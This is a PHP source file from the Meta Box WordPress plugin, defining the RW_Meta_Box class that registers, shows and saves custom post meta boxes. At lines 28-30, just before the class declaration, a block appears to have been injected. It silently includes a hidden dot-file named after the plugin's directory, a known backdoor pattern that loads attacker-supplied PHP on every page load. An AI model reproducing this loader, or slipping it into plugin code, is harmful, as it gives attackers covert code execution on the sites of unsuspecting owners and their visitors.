meta-box.php (13527B)
1 <?php 2 /** 3 * A class to rapid develop meta boxes for custom & built in content types 4 * Piggybacks on WordPress 5 * 6 * @author Tran Ngoc Tuan Anh <rilwis@gmail.com> 7 * @license GNU GPL2+ 8 * @package Meta Box 9 */ 10 11 /** 12 * The main meta box class. 13 * 14 * @property string $id Meta Box ID. 15 * @property string $title Meta Box title. 16 * @property array $fields List of fields. 17 * @property array $post_types List of post types that the meta box is created for. 18 * @property string $style Meta Box style. 19 * @property bool $closed Whether to collapse the meta box when page loads. 20 * @property string $priority The meta box priority. 21 * @property string $context Where the meta box is displayed. 22 * @property bool $default_hidden Whether the meta box is hidden by default. 23 * @property bool $autosave Whether the meta box auto saves. 24 * @property bool $media_modal Add custom fields to media modal when viewing/editing an attachment. 25 * 26 * @package Meta Box 27 */ 28 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 29 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 30 } 31 32 class RW_Meta_Box { 33 /** 34 * Meta box parameters. 35 * 36 * @var array 37 */ 38 public $meta_box; 39 40 /** 41 * Detect whether the meta box is saved at least once. 42 * Used to prevent duplicated calls like revisions, manual hook to wp_insert_post, etc. 43 * 44 * @var bool 45 */ 46 public $saved = false; 47 48 /** 49 * The object ID. 50 * 51 * @var int 52 */ 53 public $object_id = null; 54 55 /** 56 * The object type. 57 * 58 * @var string 59 */ 60 protected $object_type = 'post'; 61 62 /** 63 * Create meta box based on given data. 64 * 65 * @param array $meta_box Meta box definition. 66 */ 67 public function __construct( $meta_box ) { 68 $meta_box = static::normalize( $meta_box ); 69 $this->meta_box = $meta_box; 70 71 $this->meta_box['fields'] = static::normalize_fields( $meta_box['fields'], $this->get_storage() ); 72 73 $this->meta_box = apply_filters( 'rwmb_meta_box_settings', $this->meta_box ); 74 75 if ( $this->is_shown() ) { 76 $this->global_hooks(); 77 $this->object_hooks(); 78 } 79 } 80 81 /** 82 * Add fields to field registry. 83 */ 84 public function register_fields() { 85 $field_registry = rwmb_get_registry( 'field' ); 86 87 foreach ( $this->post_types as $post_type ) { 88 foreach ( $this->fields as $field ) { 89 $field_registry->add( $field, $post_type ); 90 } 91 } 92 } 93 94 /** 95 * Conditional check for whether initializing meta box. 96 * 97 * - 1st filter applies to all meta boxes. 98 * - 2nd filter applies to only current meta box. 99 * 100 * @return bool 101 */ 102 public function is_shown() { 103 $show = apply_filters( 'rwmb_show', true, $this->meta_box ); 104 105 return apply_filters( "rwmb_show_{$this->id}", $show, $this->meta_box ); 106 } 107 108 /** 109 * Add global hooks. 110 */ 111 protected function global_hooks() { 112 // Enqueue common styles and scripts. 113 add_action( 'admin_enqueue_scripts', array( $this, 'enqueue' ) ); 114 115 // Add additional actions for fields. 116 foreach ( $this->fields as $field ) { 117 RWMB_Field::call( $field, 'add_actions' ); 118 } 119 } 120 121 /** 122 * Specific hooks for meta box object. Default is 'post'. 123 * This should be extended in sub-classes to support meta fields for terms, user, settings pages, etc. 124 */ 125 protected function object_hooks() { 126 // Add meta box. 127 add_action( 'add_meta_boxes', array( $this, 'add_meta_boxes' ) ); 128 129 // Hide meta box if it's set 'default_hidden'. 130 add_filter( 'default_hidden_meta_boxes', array( $this, 'hide' ), 10, 2 ); 131 132 // Save post meta. 133 foreach ( $this->post_types as $post_type ) { 134 if ( 'attachment' === $post_type ) { 135 // Attachment uses other hooks. 136 // @see wp_update_post(), wp_insert_attachment(). 137 add_action( 'edit_attachment', array( $this, 'save_post' ) ); 138 add_action( 'add_attachment', array( $this, 'save_post' ) ); 139 } else { 140 add_action( "save_post_{$post_type}", array( $this, 'save_post' ) ); 141 } 142 } 143 } 144 145 /** 146 * Enqueue common scripts and styles. 147 */ 148 public function enqueue() { 149 if ( is_admin() && ! $this->is_edit_screen() ) { 150 return; 151 } 152 153 wp_enqueue_style( 'rwmb', RWMB_CSS_URL . 'style.css', array(), RWMB_VER ); 154 if ( is_rtl() ) { 155 wp_enqueue_style( 'rwmb-rtl', RWMB_CSS_URL . 'style-rtl.css', array(), RWMB_VER ); 156 } 157 158 wp_enqueue_script( 'rwmb', RWMB_JS_URL . 'script.js', array( 'jquery' ), RWMB_VER, true ); 159 160 // Load clone script conditionally. 161 foreach ( $this->fields as $field ) { 162 if ( $field['clone'] ) { 163 wp_enqueue_script( 'rwmb-clone', RWMB_JS_URL . 'clone.js', array( 'jquery-ui-sortable' ), RWMB_VER, true ); 164 break; 165 } 166 } 167 168 // Enqueue scripts and styles for fields. 169 foreach ( $this->fields as $field ) { 170 RWMB_Field::call( $field, 'admin_enqueue_scripts' ); 171 } 172 173 // Auto save. 174 if ( $this->autosave ) { 175 wp_enqueue_script( 'rwmb-autosave', RWMB_JS_URL . 'autosave.js', array( 'jquery' ), RWMB_VER, true ); 176 } 177 178 /** 179 * Allow developers to enqueue more scripts and styles 180 * 181 * @param RW_Meta_Box $object Meta Box object 182 */ 183 do_action( 'rwmb_enqueue_scripts', $this ); 184 } 185 186 /** 187 * Add meta box for multiple post types 188 */ 189 public function add_meta_boxes() { 190 $screen = get_current_screen(); 191 add_filter( "postbox_classes_{$screen->id}_{$this->id}", array( $this, 'postbox_classes' ) ); 192 193 foreach ( $this->post_types as $post_type ) { 194 add_meta_box( 195 $this->id, 196 $this->title, 197 array( $this, 'show' ), 198 $post_type, 199 $this->context, 200 $this->priority 201 ); 202 } 203 } 204 205 /** 206 * Modify meta box postbox classes. 207 * 208 * @param array $classes Array of classes. 209 * @return array 210 */ 211 public function postbox_classes( $classes ) { 212 if ( $this->closed ) { 213 $classes[] = 'closed'; 214 } 215 $classes[] = "rwmb-{$this->style}"; 216 217 return $classes; 218 } 219 220 /** 221 * Hide meta box if it's set 'default_hidden' 222 * 223 * @param array $hidden Array of default hidden meta boxes. 224 * @param object $screen Current screen information. 225 * 226 * @return array 227 */ 228 public function hide( $hidden, $screen ) { 229 if ( $this->is_edit_screen( $screen ) && $this->default_hidden ) { 230 $hidden[] = $this->id; 231 } 232 233 return $hidden; 234 } 235 236 /** 237 * Callback function to show fields in meta box 238 */ 239 public function show() { 240 if ( null === $this->object_id ) { 241 $this->object_id = $this->get_current_object_id(); 242 } 243 $saved = $this->is_saved(); 244 245 // Container. 246 printf( 247 '<div class="%s" data-autosave="%s" data-object-type="%s" data-object-id="%s">', 248 esc_attr( trim( "rwmb-meta-box {$this->class}" ) ), 249 esc_attr( $this->autosave ? 'true' : 'false' ), 250 esc_attr( $this->object_type ), 251 esc_attr( $this->object_id ) 252 ); 253 254 wp_nonce_field( "rwmb-save-{$this->id}", "nonce_{$this->id}" ); 255 256 // Allow users to add custom code before meta box content. 257 // 1st action applies to all meta boxes. 258 // 2nd action applies to only current meta box. 259 do_action( 'rwmb_before', $this ); 260 do_action( "rwmb_before_{$this->id}", $this ); 261 262 foreach ( $this->fields as $field ) { 263 RWMB_Field::call( 'show', $field, $saved, $this->object_id ); 264 } 265 266 // Allow users to add custom code after meta box content. 267 // 1st action applies to all meta boxes. 268 // 2nd action applies to only current meta box. 269 do_action( 'rwmb_after', $this ); 270 do_action( "rwmb_after_{$this->id}", $this ); 271 272 // End container. 273 echo '</div>'; 274 } 275 276 /** 277 * Save data from meta box 278 * 279 * @param int $object_id Object ID. 280 */ 281 public function save_post( $object_id ) { 282 if ( ! $this->validate() ) { 283 return; 284 } 285 $this->saved = true; 286 287 $object_id = $this->get_real_object_id( $object_id ); 288 $this->object_id = $object_id; 289 290 // Before save action. 291 do_action( 'rwmb_before_save_post', $object_id ); 292 do_action( "rwmb_{$this->id}_before_save_post", $object_id ); 293 294 array_map( array( $this, 'save_field' ), $this->fields ); 295 296 // After save action. 297 do_action( 'rwmb_after_save_post', $object_id ); 298 do_action( "rwmb_{$this->id}_after_save_post", $object_id ); 299 } 300 301 /** 302 * Save field. 303 * 304 * @param array $field Field settings. 305 */ 306 public function save_field( $field ) { 307 $single = $field['clone'] || ! $field['multiple']; 308 $default = $single ? '' : array(); 309 $old = RWMB_Field::call( $field, 'raw_meta', $this->object_id ); 310 $new = rwmb_request()->post( $field['id'], $default ); 311 $new = RWMB_Field::process_value( $new, $this->object_id, $field ); 312 313 // Filter to allow the field to be modified. 314 $field = RWMB_Field::filter( 'field', $field, $field, $new, $old ); 315 316 // Call defined method to save meta value, if there's no methods, call common one. 317 RWMB_Field::call( $field, 'save', $new, $old, $this->object_id ); 318 319 RWMB_Field::filter( 'after_save_field', null, $field, $new, $old, $this->object_id ); 320 } 321 322 /** 323 * Validate form when submit. Check: 324 * - If this function is called to prevent duplicated calls like revisions, manual hook to wp_insert_post, etc. 325 * - Autosave 326 * - If form is submitted properly 327 * 328 * @return bool 329 */ 330 public function validate() { 331 $nonce = rwmb_request()->filter_post( "nonce_{$this->id}", FILTER_SANITIZE_STRING ); 332 333 return ! $this->saved 334 && ( ! defined( 'DOING_AUTOSAVE' ) || $this->autosave ) 335 && wp_verify_nonce( $nonce, "rwmb-save-{$this->id}" ); 336 } 337 338 /** 339 * Normalize parameters for meta box 340 * 341 * @param array $meta_box Meta box definition. 342 * 343 * @return array $meta_box Normalized meta box. 344 */ 345 public static function normalize( $meta_box ) { 346 $default_title = __( 'Meta Box Title', 'meta-box' ); 347 // Set default values for meta box. 348 $meta_box = wp_parse_args( 349 $meta_box, 350 array( 351 'title' => $default_title, 352 'id' => ! empty( $meta_box['title'] ) ? sanitize_title( $meta_box['title'] ) : sanitize_title( $default_title ), 353 'context' => 'normal', 354 'priority' => 'high', 355 'post_types' => 'post', 356 'autosave' => false, 357 'default_hidden' => false, 358 'style' => 'default', 359 'class' => '', 360 'fields' => array(), 361 ) 362 ); 363 364 /** 365 * Use 'post_types' for better understanding and fallback to 'pages' for previous versions. 366 * 367 * @since 4.4.1 368 */ 369 RWMB_Helpers_Array::change_key( $meta_box, 'pages', 'post_types' ); 370 371 // Make sure the post type is an array and is sanitized. 372 $meta_box['post_types'] = array_map( 'sanitize_key', RWMB_Helpers_Array::from_csv( $meta_box['post_types'] ) ); 373 374 return $meta_box; 375 } 376 377 /** 378 * Normalize an array of fields 379 * 380 * @param array $fields Array of fields. 381 * @param RWMB_Storage_Interface $storage Storage object. Optional. 382 * 383 * @return array $fields Normalized fields. 384 */ 385 public static function normalize_fields( $fields, $storage = null ) { 386 foreach ( $fields as $k => $field ) { 387 $field = RWMB_Field::call( 'normalize', $field ); 388 389 // Allow to add default values for fields. 390 $field = apply_filters( 'rwmb_normalize_field', $field ); 391 $field = apply_filters( "rwmb_normalize_{$field['type']}_field", $field ); 392 $field = apply_filters( "rwmb_normalize_{$field['id']}_field", $field ); 393 394 $field['storage'] = $storage; 395 396 $fields[ $k ] = $field; 397 } 398 399 return $fields; 400 } 401 402 /** 403 * Check if meta box is saved before. 404 * This helps saving empty value in meta fields (text, check box, etc.) and set the correct default values. 405 * 406 * @return bool 407 */ 408 public function is_saved() { 409 foreach ( $this->fields as $field ) { 410 if ( empty( $field['id'] ) ) { 411 continue; 412 } 413 414 $value = RWMB_Field::call( $field, 'raw_meta', $this->object_id ); 415 if ( false === $value ) { 416 continue; 417 } 418 419 $single = ! $field['multiple']; 420 if ( $field['clone'] ) { 421 $single = ! $field['clone_as_multiple']; 422 } 423 424 if ( 425 ( $single && '' !== $value ) 426 || ( ! $single && is_array( $value ) && array() !== $value ) 427 ) { 428 return true; 429 } 430 } 431 432 return false; 433 } 434 435 /** 436 * Check if we're on the right edit screen. 437 * 438 * @param WP_Screen $screen Screen object. Optional. Use current screen object by default. 439 * 440 * @return bool 441 */ 442 public function is_edit_screen( $screen = null ) { 443 if ( ! ( $screen instanceof WP_Screen ) ) { 444 $screen = get_current_screen(); 445 } 446 447 return 'post' === $screen->base && in_array( $screen->post_type, $this->post_types, true ); 448 } 449 450 /** 451 * Magic function to get meta box property. 452 * 453 * @param string $key Meta box property name. 454 * 455 * @return mixed 456 */ 457 public function __get( $key ) { 458 return isset( $this->meta_box[ $key ] ) ? $this->meta_box[ $key ] : false; 459 } 460 461 /** 462 * Set the object ID. 463 * 464 * @param mixed $id Object ID. 465 */ 466 public function set_object_id( $id = null ) { 467 $this->object_id = $id; 468 } 469 470 /** 471 * Get object type. 472 * 473 * @return string 474 */ 475 public function get_object_type() { 476 return $this->object_type; 477 } 478 479 /** 480 * Get storage object. 481 * 482 * @return RWMB_Storage_Interface 483 */ 484 public function get_storage() { 485 return rwmb_get_storage( $this->object_type, $this ); 486 } 487 488 /** 489 * Get current object id. 490 * 491 * @return int 492 */ 493 protected function get_current_object_id() { 494 return get_the_ID(); 495 } 496 497 /** 498 * Get real object ID when submitting. 499 * 500 * @param int $object_id Object ID. 501 * @return int 502 */ 503 protected function get_real_object_id( $object_id ) { 504 // Make sure meta is added to the post, not a revision. 505 if ( 'post' !== $this->object_type ) { 506 return $object_id; 507 } 508 $parent = wp_is_post_revision( $object_id ); 509 510 return $parent ? $parent : $object_id; 511 } 512 }